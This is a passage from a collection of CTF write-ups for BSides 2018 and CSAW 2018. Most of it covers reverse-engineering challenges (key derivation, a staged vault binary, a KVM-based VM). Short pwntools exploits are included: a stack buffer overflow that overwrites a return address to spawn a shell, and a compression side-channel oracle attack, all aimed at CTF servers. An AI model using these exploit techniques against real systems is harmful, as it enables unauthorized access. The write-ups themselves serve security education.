= buf; 148 | len = strlen(buf); 149 | MD5Update(&ctx, data, len); 150 | p = digest; 151 | MD5Final(digest, &ctx); 152 | output = buf2; 153 | do 154 | { 155 | result = snprintf(output, 5u, "%02x", (unsigned __int8)*p++); 156 | output += 2; 157 | } 158 | while ( output != (char *)&unk_80006D4 ); 159 | return result; 160 | } 161 | ``` 162 | 163 | In `md5hash`, `buf` is hashed by md5 and written to `buf2`. In `sha1hash`, it will perform similar work, hashes `buf2` into `key`. Finally, now we know `key` is `sha1(md5(buf))`, so `flag = code ^ sha1(md5(buf))`. 164 | 165 | Here's the script to decrypt it. 166 | 167 | ```python 168 | #!/usr/bin/env python3 169 | from hashlib import md5, sha1 170 | 171 | key = b"give_this_to_get_flag" 172 | key = md5(key).hexdigest().encode() 173 | key = sha1(key).hexdigest().encode() 174 | 175 | code = b'\x56\x5c\x50\x05\x4d\x0f\x53\x47' 176 | code += b'\x76\x57\x21\x3a\x5e\x06\x3b\x0d' 177 | code += b'\x11\x16\x02\x09\x0b\x67\x1b\x52' 178 | code += b'\x41\x6b\x40\x5d\x56\x17\x5d\x01' 179 | code += b'\x3a\x04\x13\x1d\x68\x50\x06\x45' 180 | 181 | print("".join([chr(a ^ b) for a, b in zip(key, code)])) 182 | ``` 183 | 184 | The flag is `flag{netB5D_i5_4ws0m3_y0u_sh0uld_7ry_i7}` 185 | -------------------------------------------------------------------------------- /bsides-2018/st4t1c.md: -------------------------------------------------------------------------------- 1 | ## st4tic (reverse, 200) 2 | 3 | ### Solution 4 | 5 | The binary is a x64 ELF. First, try to decompile the program, but IDA can't identify where `main` is. 6 | 7 | It's caused by some bytes were written to the fallthrough location of branches which will always taken, which obfuscates the decompiler. 8 | 9 | ![](https://i.imgur.com/UySxrdy.png) 10 | 11 | After patching these bytes to `nop`, now the decompiler can correctly analyze all the functions, everything is clear. 12 | 13 | ```c 14 | __int64 __fastcall main(int argc, char **argv) 15 | { 16 | char *team_name; // [rsp+28h] [rbp-8h] 17 | 18 | team_name = getenv("team_name"); 19 | if ( team_name && !strncmp(team_name, "bi0s", 4uLL) ) 20 | { 21 | if ( argc == 2 ) 22 | { 23 | if ( validate(team_name, argv[1]) == 1 ) 24 | print_flag(argv[1]); 25 | else 26 | printf("Better luck next time!", argv); 27 | } 28 | else 29 | { 30 | printf("usage: chall ", "bi0s", argv); 31 | } 32 | } 33 | else 34 | { 35 | printf("Nope.", argv); 36 | } 37 | return 0LL; 38 | } 39 | 40 | int __fastcall validate(char *team_name, const char *flag) 41 | { 42 | size_t _i; // rbx 43 | char c; // dl 44 | size_t len; // rax 45 | char buf[32]; // [rsp+10h] [rbp-60h] 46 | char encoded_flag[23]; // [rsp+30h] [rbp-40h] 47 | int v9; // [rsp+4Ch] [rbp-24h] 48 | int v10; // [rsp+50h] [rbp-20h] 49 | int j; // [rsp+54h] [rbp-1Ch] 50 | int ascii_sum; // [rsp+58h] [rbp-18h] 51 | int i; // [rsp+5Ch] [rbp-14h] 52 | 53 | ascii_sum = 0; 54 | j = 0; 55 | strcpy(encrypted_flag, "?5b9no=k!5= strlen(team_name) ) 62 | break; 63 | ascii_sum += team_name[i]; 64 | } 65 | v10 = 0; 66 | ascii_sum /= 30; 67 | while ( j != 22 ) 68 | { 69 | if ( j & 1 ) 70 | c = flag[j] - 4; 71 | else 72 | c = flag[j] + 4; 73 | buf[j] = c; 74 | buf[j] ^= ascii_sum; 75 | ++j; 76 | } 77 | v9 = 0; 78 | for ( i = strlen(buf) - 1; i >= 0; --i ) 79 | { 80 | len = strlen(buf); 81 | if ( buf[len - i - 1] != encrypted_flag[i] ) 82 | return 0; 83 | } 84 | return 1; 85 | } 86 | ``` 87 | 88 | Only `bi0s` can pass the `team_name` check, it will be passed into `validate` to compute some values used to encrypt the flag(`argv[1]`). It's easy to write a inverse function. 89 | 90 | ``` 91 | #!/usr/bin/env python3 92 | 93 | e = "?5b9no=k!5= strlen(arch) ) 37 | break; 38 | s1[i] = arch[i] ^ 0xA; 39 | } 40 | if ( !strcmp(s1, "B:m]kx=y") ) { 41 | ... 42 | printf("\x1B[32m\n [:)] Stage 1 Qualified\x1B[0m", v3); 43 | } 44 | } 45 | ``` 46 | 47 | Set `ARCH` to `"B:m]kx=y" ^ 0xA`, which is `H0gWar7s` to pass this stage. 48 | 49 | 50 | #### stage2 51 | 52 | ```c 53 | signed __int64 __fastcall stage2(void *arg) { 54 | if ( *(_DWORD *)arg == *((char *)arg + 4) ) { 55 | printf("\x1B[32m\n [:)] Stage 2 Qualified\x1B[0m"); 56 | } 57 | } 58 | 59 | int main(...) { 60 | ... 61 | arg = 'A'; 62 | v8 = **(_BYTE **)(v6 + 8); 63 | if ( pthread_create(&th2, 0LL, (void *(*)(void *))stage2, &arg) ) 64 | } 65 | ``` 66 | 67 | This stage will pass if the argv[1] of the program is `'A'`. 68 | 69 | #### stage3 70 | 71 | ```c 72 | char *__fastcall stage3(void *a1) { 73 | printf("\x1B[35m\n Enter password for stage 3 :\x1B[33m"); 74 | v1 = (unsigned __int64)fgets(s, 25, stdin); 75 | if ( v1 != -1 && strlen(s) == 24 ) { 76 | if ( !strcmp(s, "He_who_must_not_be_named") ) { 77 | printf("\x1B[32m [:)] Stage 3 Qualified\x1B[0m"); 78 | } 79 | } 80 | } 81 | ``` 82 | 83 | Input `He_who_must_not_be_named` to pass this stage. 84 | 85 | #### stage4 86 | 87 | ```c 88 | void *__fastcall stage4(void *a1) { 89 | s2[0] = 'm'; 90 | s2[1] = 'C'; 91 | s2[2] = 'D'; 92 | s2[3] = 'D'; 93 | s2[4] = 'S'; 94 | s2[5] = '\0'; 95 | fp = fopen(".hidden.txt", "r"); 96 | if ( fp ) { 97 | fgets(hidden, 6, fp); 98 | if ( strlen(hidden) == 5 ) { 99 | v4 = 42; 100 | for ( i = 0; i <= 4; ++i ) 101 | hidden[i] ^= v4; 102 | if ( !strcmp(hidden, s2) ) { 103 | printf("\x1B[32m\n [:)] Stage 4 Qualified\x1B[0m", s2); 104 | } 105 | } 106 | } 107 | } 108 | ``` 109 | 110 | Can pass this stage if the content of `.hidden.txt` is `"mCDDS" ^ 42`, which is `Ginny`. 111 | 112 | #### stage5 113 | 114 | ```c 115 | void *__fastcall stage5(void *a1) { 116 | if ( getcwd(&buf, 0x400uLL) ) { 117 | if ( strlen(&buf) != 26 || buf[22] != 'a' ) { 118 | pthread_mutex_lock(&mutex); 119 | printf("\x1B[31m\n [:(] Stage 5 Failed\x1B[0m", 1024LL); 120 | pthread_mutex_unlock(&mutex); 121 | } 122 | } 123 | } 124 | ``` 125 | 126 | We can pass this stage if the path length is 26 and the 22nd character of the path is `'a'`. 127 | 128 | 129 | So, finally, move the binary to a path where length is 26 and 22nd chracter is 'a', then run the following script. 130 | 131 | ```sh 132 | #!/bin/bash 133 | 134 | echo "He_who_must_not_be_named" | env ARCH="H0gWar7s" ./chall A 135 | ``` 136 | 137 | ``` 138 | $ ./chall.sh 139 | [:)] Stage 5 Qualified 140 | [:)] Stage 1 Qualified 141 | [:)] Stage 2 Qualified 142 | Enter password for stage 3 : [:)] Stage 3 Qualified 143 | [:)] Stage 4 Qualified 144 | [-->] No of stages cleared : 5 145 | ------------------------------------------- 146 | Verifying........ 147 | [:)] You seem to have Wizard origins 148 | --------------------------------------------------------------------------- 149 | The Vault is open 150 | Your Flag is == flag{W1th_L0v3_Fr0m_R3x!} 151 | ``` 152 | -------------------------------------------------------------------------------- /csaw-2018/README.md: -------------------------------------------------------------------------------- 1 | # CSAW CTF Qualification Round 2018 2 | 3 | Team : 10sec 4 | 5 | * [..](./../) 6 | * Reversing 7 | * [A Tour of x86 - Part 1 (50)](./tour_of_x86_1.md) 8 | * [kvm (500)](./kvm.md) 9 | * Pwn 10 | * [bigboi (50)](./bigboi.md) 11 | * [get it? (50)](./get_it.md) 12 | * [shell-\>code (100)](./shellpointcode.md) 13 | * Misc 14 | * [Algebra (150)](./algebra.md) 15 | * Forensics 16 | * [simple\_recovery (150)](./simple_recovery.md) 17 | * [Rewind (200)](./rewind.md) 18 | * Crypto 19 | * [flagcrypt (150)](./flagcrypt.md) 20 | -------------------------------------------------------------------------------- /csaw-2018/algebra.md: -------------------------------------------------------------------------------- 1 | ## algebra 50 (misc) 2 | 3 | ### Solution 4 | 5 | We have to solve several equations in this challenge, all equations are one-dimensional about `X`, I simply transform the equation from the form `f = b` to `f - b` and solve it with SymPy. 6 | 7 | ```python 8 | #!/usr/bin/env python3 9 | from pwn import * 10 | from sympy import Symbol, solve 11 | r = remote("misc.chal.csaw.io", 9002) 12 | 13 | r.recvuntil("*\n") 14 | while True: 15 | eq = r.recvline().strip().decode() 16 | if eq.startswith("flag"): 17 | print(eq) 18 | break 19 | X = Symbol("X") 20 | eq = "solve(" + eq.replace("=", "-") + ")" 21 | print(eq) 22 | try: 23 | sol = float(eval(eq)[0]) 24 | print("X =", sol) 25 | except IndexError: 26 | r.sendline("0") 27 | else: 28 | r.sendline(str(sol)) 29 | r.recvuntil("going\n") 30 | ``` 31 | 32 | ### Flag 33 | 34 | ``` 35 | flag{y0u_s0_60od_aT_tH3_qU1cK_M4tH5} 36 | ``` 37 | -------------------------------------------------------------------------------- /csaw-2018/bigboi.md: -------------------------------------------------------------------------------- 1 | ## bigboy 50 (pwn) 2 | 3 | ### Solution 4 | 5 | There's a buffer overflow on stack, just overwrite `0xDEADBEEF(buf + 0x14)` to `0xCAF3BAEE` to bypass the check. 6 | 7 | ### Exploit 8 | 9 | ```python 10 | #!/usr/bin/env python3 11 | from pwn import * 12 | context(arch="amd64") 13 | 14 | r = remote("pwn.chal.csaw.io", 9000) 15 | r.send(b"a"*0x14 + p32(0xCAF3BAEE)) 16 | r.interactive() 17 | ``` 18 | ### Flag 19 | 20 | ``` 21 | flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis} 22 | ``` 23 | -------------------------------------------------------------------------------- /csaw-2018/flagcrypt.md: -------------------------------------------------------------------------------- 1 | ## flagcrypt 100 (crypto) 2 | 3 | ### Solution 4 | 5 | Send a message with length >= 20 to the server, and the server will reponse with the encrypted message and its length. 6 | Through observing the provided code, the length of encrypted message will be shorter if there is repeated pattern (length >= 3) occur in the plaintext, thus the encryption is vulnerable to [compression side channel attacks](https://www.sjoerdlangkemper.nl/2016/08/23/compression-side-channel-attacks/). 7 | 8 | The charset was told in the description, this exploit simply bruteforce the products of these characters with length = 3 first. Once a pattern found, it will try to extended it with single character at once. 9 | 10 | A problem is there are 3 bytes patterns with common prefix or subfix ("me_", "ve_") and ("e\_d", "e\_a"), thus I manually set the flag variable and run the script again. 11 | 12 | ```python 13 | #!/usr/bin/env python3 14 | from pwn import * 15 | import itertools 16 | 17 | 18 | charset = set("abcdefghijklmnopqrstuvwxyz_") 19 | r = remote("crypto.chal.csaw.io", 8041) 20 | payload = "^" * 20 21 | 22 | r.writelineafter("service\n", payload + "///") 23 | data = r.recvline().strip() 24 | data, sz = data[:-1], int(data[-1]) 25 | 26 | minsz = sz 27 | flag = "" 28 | 29 | def front_extend(): 30 | global flag 31 | p = flag[:2] 32 | lst = [] 33 | for c in charset: 34 | guess = payload + c + p 35 | r.writelineafter("service\n", guess) 36 | data = r.recvline().strip() 37 | data, sz = data[:-1], int(data[-1]) 38 | lst.append((sz, c)) 39 | minsz, c = min(lst, key=lambda t: t[0]) 40 | maxsz, _ = max(lst, key=lambda t: t[0]) 41 | lst = list(filter(lambda t: t[0] == minsz, lst)) 42 | if minsz == maxsz: 43 | return 44 | if len(lst) > 1: 45 | print("Multiple possibilities :", lst) 46 | else: 47 | flag = c + flag 48 | print("flag : %s ... " % flag) 49 | front_extend() 50 | 51 | 52 | def back_extend(): 53 | global flag 54 | p = flag[-2:] 55 | lst = [] 56 | for c in charset: 57 | guess = payload + p + c 58 | r.writelineafter("service\n", guess) 59 | data = r.recvline().strip() 60 | data, sz = data[:-1], int(data[-1]) 61 | lst.append((sz, c)) 62 | minsz, c = min(lst, key=lambda t: t[0]) 63 | maxsz, _ = max(lst, key=lambda t: t[0]) 64 | lst = list(filter(lambda t: t[0] == minsz, lst)) 65 | if minsz == maxsz: 66 | return 67 | if len(lst) > 1: 68 | print("Multiple possibilities :", lst) 69 | else: 70 | flag += c 71 | print("flag : %s ... " % flag) 72 | back_extend() 73 | 74 | for p in itertools.product(charset, repeat=3): 75 | p = "".join(p) 76 | guess = payload + p 77 | r.writelineafter("service\n", guess) 78 | data = r.recvline().strip() 79 | data, sz = data[:-1], int(data[-1]) 80 | print(guess, sz) 81 | if sz < minsz: 82 | flag = p 83 | break 84 | 85 | print("found %s, extending..." % flag) 86 | front_extend() 87 | back_extend() 88 | ``` 89 | 90 | ### Flag 91 | 92 | ``` 93 | crime_doesnt_have_a_logo 94 | ``` 95 | -------------------------------------------------------------------------------- /csaw-2018/get_it.md: -------------------------------------------------------------------------------- 1 | ## get it? 50 (pwn) 2 | 3 | ### Solution 4 | 5 | use `gets()` to overwrite return address to `give_shell()` 6 | 7 | ### Exploit 8 | 9 | ```python 10 | #!/usr/bin/env python3 11 | from pwn import * 12 | 13 | context(arch="amd64") 14 | 15 | r = remote("pwn.chal.csaw.io", 9001) 16 | b = ELF("get_it") 17 | 18 | r.sendline(b"a" * 40 + p64(b.symbols[b"give_shell"])) 19 | r.interactive() 20 | ``` 21 | 22 | ### Flag 23 | 24 | ``` 25 | flag{y0u_deF_get_itls} 26 | ``` 27 | -------------------------------------------------------------------------------- /csaw-2018/kvm.md: -------------------------------------------------------------------------------- 1 | ## kvm 500 (reversing) 2 | 3 | ### Solution 4 | 5 | First decompile the program, and we'll see it open `/dev/kvm` and issue several `ioctl`s. 6 | 7 | 8 | 9 | Then use `strace` to inspect these calls. 10 | ``` 11 | $ strace -v ./challenge 12 | openat(AT_FDCWD, "/dev/kvm", O_RDWR) = 3 13 | ioctl(3, KVM_GET_API_VERSION, 0) = 12 14 | ioctl(3, KVM_CREATE_VM, 0) = 4 15 | ioctl(4, KVM_SET_TSS_ADDR, 0xfffbd000) = 0 16 | mmap(NULL, 2097152, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0) = 0x7fd00ef77000 17 | madvise(0x7fd00ef77000, 2097152, MADV_MERGEABLE) = 0 18 | ioctl(4, KVM_SET_USER_MEMORY_REGION, {slot=0, flags=0, guest_phys_addr=0, memory_size=2097152, userspace_addr=0x7fd00ef77000}) = 0 19 | ioctl(4, KVM_CREATE_VCPU, 0) = 5 20 | ioctl(3, KVM_GET_VCPU_MMAP_SIZE, 0) = 12288 21 | mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_SHARED, 5, 0) = 0x7fd00f37a000 22 | ioctl(5, KVM_GET_SREGS, {cs={base=0xffff0000, limit=65535, selector=61440, type=11, present=1, dpl=0, db=0, s=1, l=0, g=0, avl=0}, ds={base=0, limit=65535, selector=0, type=3, present=1, dpl=0, db=0, s=1, l=0, g=0, avl=0}, es={base=0, limit=65535, selector=0, type=3, present=1, dpl=0, db=0, s=1, l=0, g=0, avl=0}, fs={base=0, limit=65535, selector=0, type=3, present=1, dpl=0, db=0, s=1, l=0, g=0, avl=0}, gs={base=0, limit=65535, selector=0, type=3, present=1, dpl=0, db=0, s=1, l=0, g=0, avl=0}, ss={base=0, limit=65535, selector=0, type=3, present=1, dpl=0, db=0, s=1, l=0, g=0, avl=0}, tr={base=0, limit=65535, selector=0, type=11, present=1, dpl=0, db=0, s=0, l=0, g=0, avl=0}, ldt={base=0, limit=65535, selector=0, type=2, present=1, dpl=0, db=0, s=0, l=0, g=0, avl=0}, gdt={base=0, limit=65535}, idt={base=0, limit=65535}, cr0=1610612752, cr2=0, cr3=0, cr4=0, cr8=0, efer=0, apic_base=0xfee00900, interrupt_bitmap=[0, 0, 0, 0]}) = 0 23 | ioctl(5, KVM_SET_SREGS, {cs={base=0, limit=4294967295, selector=8, type=11, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, ds={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, es={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, fs={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, gs={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, ss={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, tr={base=0, limit=65535, selector=0, type=11, present=1, dpl=0, db=0, s=0, l=0, g=0, avl=0}, ldt={base=0, limit=65535, selector=0, type=2, present=1, dpl=0, db=0, s=0, l=0, g=0, avl=0}, gdt={base=0, limit=65535}, idt={base=0, limit=65535}, cr0=2147811379, cr2=0, cr3=8192, cr4=32, cr8=0, efer=1280, apic_base=0xfee00900, interrupt_bitmap=[0, 0, 0, 0]}) = 0 24 | ioctl(5, KVM_SET_REGS, {rax=0, rbx=0, rcx=0, rdx=0, rsi=0, rdi=0, rsp=0x200000, rbp=0, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0, rflags=0x2}) = 0 25 | ioctl(5, KVM_RUN, 0) = 0 26 | fstat(0, {st_dev=makedev(0, 26), st_ino=4, st_mode=S_IFCHR|0620, st_nlink=1, st_uid=1000, st_gid=5, st_blksize=1024, st_blocks=0, st_rdev=makedev(136, 1), st_atime=1537036280 /* 2018-09-16T02:31:20.548336166+0800 */, st_atime_nsec=548336166, st_mtime=1537036280 /* 2018-09-16T02:31:20.548336166+0800 */, st_mtime_nsec=548336166, st_ctime=1537021307 /* 2018-09-15T22:21:47.548336166+0800 */, st_ctime_nsec=548336166}) = 0 27 | brk(NULL) = 0x55d7d8728000 28 | brk(0x55d7d8749000) = 0x55d7d8749000 29 | read(0 30 | ``` 31 | 32 | Let's first check the [KVM API](https://www.kernel.org/doc/Documentation/virtual/kvm/api.txt) and understand what it's doing: 33 | 1. Open kvm, get fd = 3 34 | 35 | `openat(AT_FDCWD, "/dev/kvm", O_RDWR) = 3` 36 | 37 | 2. check whether the kvm api version equals 12 38 | 39 | `ioctl(3, KVM_GET_API_VERSION, 0) = 12` 40 | 41 | 3. creat a VM,fd = 4 42 | 43 | `ioctl(3, KVM_CREATE_VM, 0) = 4` 44 | 45 | 4. configure the physical address of VM 46 | 47 | `ioctl(4, KVM_SET_TSS_ADDR, 0xfffbd000) = 0` 48 | 49 | 5. allocate the memory needed by VM and set the mapping 50 | ``` 51 | mmap(NULL, 2097152, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0) = 0x7f1cebda8000 52 | madvise(0x7f1cebda8000, 2097152, MADV_MERGEABLE) = 0 53 | ioctl(4, KVM_SET_USER_MEMORY_REGION, {slot=0, flags=0, guest_phys_addr=0, memory_size=2097152, userspace_addr=0x7f1cebda8000}) = 0 54 | ``` 55 | 56 | 6. create vcpu,fd = 5 57 | 58 | `ioctl(4, KVM_CREATE_VCPU, 0) = 5` 59 | 60 | 7. allocate a shared memory space neede by vcpu 61 | ``` 62 | ioctl(3, KVM_GET_VCPU_MMAP_SIZE, 0) = 12288 63 | mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_SHARED, 5, 0) = 0x7f1cec1ab000 64 | ``` 65 | 66 | 8. initialize special register 67 | ``` 68 | ioctl(5, KVM_SET_SREGS, {cs={base=0, limit=4294967295, selector=8, type=11, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, ds={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, es={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, fs={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, gs={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, ss={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, tr={base=0, limit=65535, selector=0, type=11, present=1, dpl=0, db=0, s=0, l=0, g=0, avl=0}, ldt={base=0, limit=65535, selector=0, type=2, present=1, dpl=0, db=0, s=0, l=0, g=0, avl=0}, gdt={base=0, limit=65535}, idt={base=0, limit=65535}, cr0=2147811379, cr2=0, cr3=8192, cr4=32, cr8=0, efer=1280, apic_base=0xfee00900, interrupt_bitmap=[0, 0, 0, 0]}) = 0 69 | ``` 70 | 71 | 9. initialize gprs 72 | ``` 73 | ioctl(5, KVM_SET_REGS, {rax=0, rbx=0, rcx=0, rdx=0, rsi=0, rdi=0, rsp=0x200000, rbp=0, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0, rflags=0x2}) = 0 74 | ``` 75 | 10. start running VM 76 | 77 | `ioctl(5, KVM_RUN, 0) = 0` 78 | 79 | After the VM starts, the program will wait for some input, a byte at once, and after each read it will call `ioctl(5, KVM_RUN, 0)` again. 80 | 81 | Try to use frace to trace kvm execute `challenge` and enter 1234 : 82 | ``` 83 | # echo 1 > /sys/kernel/debug/tracing/events/kvm/enable 84 | # cat /sys/kernel/debug/tracing/trace_pipe 85 | challenge-24797 [003] .... 83184.290314: kvm_fpu: load 86 | challenge-24797 [003] .... 83184.290322: kvm_pio: pio_read at 0xe9 size 1 count 1 val 0x31 87 | challenge-24797 [003] d..1 83184.290326: kvm_entry: vcpu 0 88 | challenge-24797 [003] .... 83184.290332: kvm_exit: reason EXTERNAL_INTERRUPT rip 0x100 info 0 800000f6 89 | challenge-24797 [003] d..1 83184.290334: kvm_entry: vcpu 0 90 | challenge-24797 [003] .... 83184.290337: kvm_exit: reason IO_INSTRUCTION rip 0xff info e90008 0 91 | challenge-24797 [003] .... 83184.290339: kvm_fpu: unload 92 | challenge-24797 [003] .... 83184.290341: kvm_userspace_exit: reason KVM_EXIT_IO (2) 93 | challenge-24797 [003] .... 83184.290380: kvm_fpu: load 94 | challenge-24797 [003] .... 83184.290381: kvm_pio: pio_read at 0xe9 size 1 count 1 val 0x32 95 | challenge-24797 [003] d..1 83184.290382: kvm_entry: vcpu 0 96 | challenge-24797 [003] .... 83184.290384: kvm_exit: reason IO_INSTRUCTION rip 0xff info e90008 0 97 | challenge-24797 [003] .... 83184.290385: kvm_fpu: unload 98 | challenge-24797 [003] .... 83184.290386: kvm_userspace_exit: reason KVM_EXIT_IO (2) 99 | challenge-24797 [003] .... 83184.290413: kvm_fpu: load 100 | challenge-24797 [003] .... 83184.290413: kvm_pio: pio_read at 0xe9 size 1 count 1 val 0x33 101 | challenge-24797 [003] d..1 83184.290414: kvm_entry: vcpu 0 102 | challenge-24797 [003] .... 83184.290416: kvm_exit 103 | ``` 104 | KVM has called `pio_read()` to read the bytes we just inputted, then `EXIT` because of io event, then `RUN` again by `challenge`. 105 | 106 | Take a look at the value of `CS`, we know the VM starts its executution from address `0x0` 107 | ```c 108 | cs={base=0, 109 | limit=4294967295, 110 | selector=8, 111 | type=11, 112 | present=1, 113 | dpl=0, db=0, s=1, l=1, g=1, avl=0 114 | } 115 | ``` 116 | 117 | By `ltrace`ing the program, I found some data is copied to the guess address `0x0.` 118 | ``` 119 | $ ltrace ./challenge 120 | memcpy(0x7f3f247a9000, "UH\211\345H\201\354\020(\0\0H\215\205\360\327\377\377\276\0(\0\0H\211\307\350\262\0\0\0\307"..., 4888) = 0x7f3f247a9000 121 | ``` 122 | These data is located at `0x202174`, length = 4888 123 | 124 | 125 | 126 | Extract these bytes from the binary and disassemble it. 127 | 128 | After some analysis, we can easily identify the functionality of some functions 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | But there are two strange functions left, `0x172` and `0x1e0`. 139 | 140 | Starts from entry, it will read `0x2800` bytes inside the function `0xd1`, using instruction `in` which will trigger `pio_read()`, then do some stuff inside function `0x1e0`, a byte at once, then finally compare two strings located at `0x580` and `0x1320` with length `0x54a`, and output `Correct!` or `"Wrong!"`. 141 | 142 | Let's dive into the function `0x1e0`: 143 | 144 | 145 | 146 | What the heck? The program soon halted after enter the function, how does it return to the main loop? 147 | 148 | I gave input of `0x2800` bytes to the program, and grab the log from the ftrace, it shows: 149 | ``` 150 | challenge-21643 [000] d..1 89662.281943: kvm_entry: vcpu 0 151 | challenge-21643 [000] .... 89662.281945: kvm_exit: reason HLT rip 0x201 info 0 0 152 | challenge-21643 [000] .... 89662.281954: kvm_fpu: unload 153 | challenge-21643 [000] .... 89662.281955: kvm_userspace_exit: reason KVM_EXIT_HLT (5) 154 | challenge-21643 [000] .... 89662.281959: kvm_fpu: load 155 | challenge-21643 [000] d..1 89662.281960: kvm_entry: vcpu 0 156 | challenge-21643 [000] .... 89662.281961: kvm_exit: reason HLT rip 0x341 info 0 0 157 | challenge-21643 [000] .... 89662.281962: kvm_fpu: unload 158 | challenge-21643 [000] .... 89662.281962: kvm_userspace_exit: reason KVM_EXIT_HLT (5) 159 | challenge-21643 [000] .... 89662.281964: kvm_fpu: load 160 | ``` 161 | It looks like after the guess halted, the program will change its rip and restart again. Let's go back to the binary 162 | 163 | 164 | 165 | That's where the works are done, if the KVM exit reason is `KVM_EXIT_HTL`, it will perform some works on the register and rerun the VM, but the decompiler can't properly analyze the operation. 166 | 167 | Again, using strace, I can inspect all calls with their arguments: 168 | ``` 169 | $ strace -vo log ./challenge < input 170 | $ less log 171 | ... 172 | ioctl(5, KVM_RUN, 0) = 0 173 | ioctl(5, KVM_GET_REGS, {rax=0x3493310d, rbx=0, rcx=0x1fffe7, rdx=0xe9, rsi=0x1300, rdi=0xffffffff, rsp=0x1fd778, rbp=0x1fd7d8, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x202, rflags=0x6}) = 0 174 | ioctl(5, KVM_SET_REGS, {rax=0x3493310d, rbx=0, rcx=0x1fffe7, rdx=0xe9, rsi=0x1300, rdi=0xffffffff, rsp=0x1fd778, rbp=0x1fd7d8, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x32c, rflags=0x6}) = 0 175 | ioctl(5, KVM_RUN, 0) = 0 176 | ioctl(5, KVM_GET_REGS, {rax=0x5de72dd, rbx=0, rcx=0x5de72dd, rdx=0xffffffff, rsi=0x1300, rdi=0xffffffff, rsp=0x1fd778, rbp=0x1fd7d8, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x342, rflags=0x46}) = 0 177 | ioctl(5, KVM_SET_REGS, {rax=0x5de72dd, rbx=0, rcx=0x5de72dd, rdx=0xffffffff, rsi=0x1300, rdi=0xffffffff, rsp=0x1fd778, rbp=0x1fd7d8, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x347, rflags=0x46}) = 0 178 | ioctl(5, KVM_RUN, 0) = 0 179 | ... 180 | ioctl(5, KVM_GET_REGS, {rax=0x968630d0, rbx=0, rcx=0x5de72dd, rdx=0x30, rsi=0xae0, rdi=0x30, rsp=0x1fd628, rbp=0x1fd688, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x342, rflags=0x13}) = 0 181 | ioctl(5, KVM_SET_REGS, {rax=0x968630d0, rbx=0, rcx=0x5de72dd, rdx=0x30, rsi=0xae0, rdi=0x30, rsp=0x1fd628, rbp=0x1fd688, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x400, rflags=0x13}) = 0 182 | ioctl(5, KVM_RUN, 0) = 0 183 | ioctl(5, KVM_GET_REGS, {rax=0xef5bdd13, rbx=0, rcx=0x8f6e2804, rdx=0xae0, rsi=0x30, rdi=0x61, rsp=0x1fd628, rbp=0x1fd688, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x41d, rflags=0x97}) = 0 184 | ioctl(5, KVM_SET_REGS, {rax=0xef5bdd13, rbx=0, rcx=0x8f6e2804, rdx=0xae0, rsi=0x30, rdi=0x61, rsp=0x1fd628, rbp=0x1fd688, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x435, rflags=0x97}) = 0 185 | ioctl(5, KVM_RUN, 0) = 0 186 | ioctl(5, KVM_GET_REGS, {rax=0x5f291a64, rbx=0, rcx=0x8f6e2804, rdx=0xae0, rsi=0x30, rdi=0x61, rsp=0x1fd628, rbp=0x1fd688, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x43b, rflags=0x97}) = 0 187 | ioctl(5, KVM_SET_REGS, {rax=0x5f291a64, rbx=0, rcx=0x8f6e2804, rdx=0xae0, rsi=0x30, rdi=0x61, rsp=0x1fd628, rbp=0x1fd688, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x441, rflags=0x97}) = 0 188 | ioctl(5, KVM_RUN, 0) = 0 189 | ioctl(5, KVM_GET_REGS, {rax=0xc50b6060, rbx=0, rcx=0x8f6e2804, rdx=0xae0, rsi=0x30, rdi=0x61, rsp=0x1fd628, rbp=0x1fd688, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x44e, rflags=0x97}) = 0 190 | ioctl(5, KVM_SET_REGS, {rax=0xc50b6060, rbx=0, rcx=0x8f6e2804, rdx=0xae0, rsi=0x30, rdi=0x61, rsp=0x1fd628, rbp=0x1fd688, r8=0, r9=0, r10=0, r11=0, r12=0, r13=0, r14=0, r15=0, rip=0x454, rflags=0x97}) = 0 191 | ioctl(5, KVM_RUN, 0) = 0 192 | ``` 193 